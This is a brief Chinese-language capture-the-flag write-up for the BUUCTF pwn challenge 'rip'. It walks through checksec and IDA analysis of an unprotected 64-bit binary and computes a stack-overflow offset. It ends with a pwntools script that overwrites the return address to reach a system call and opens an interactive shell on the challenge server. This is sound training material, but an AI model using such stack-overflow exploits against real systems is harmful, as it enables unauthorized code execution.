[BUUCTF-pwn]——rip
- 题目地址:https://buuoj.cn/challenges#rip
- 题目:
同样我们现将文件下载下来,在Linux上用checksec 看下信息,发现这是一个64位程序,并且任何保护都没开。😀 (任何保护都没开,基本就是栈溢出)
在window用IDA反汇编看看,打扰了main函数没有任何有用的东西,没有我们要找的system函数
看看其他函数看看有没有,功夫不负有心人。fun函数中,有我们想要的东西
赶快查看下fun函数所在的位置 0x401186 。我们看到是在0x40118A压参数,然后接着执行,所以我们可以用0x40118A将返回地址给覆盖掉。
双击变量 s,我们可以看到s到 ebp 的距离是oxf,ebd占8个字节
所以exploit可以这样写
# pwn1.py
from pwn import *
p = remote("ip地址",ip端口)
ret_arr = 0x40118A
payload ='a' * (0xf+8)+ p64(ret_arr)
p.sendline(payload)
p.interactive()
这是一个典型的栈溢出问题,嘿嘿,是不是比第一道好玩一点 😃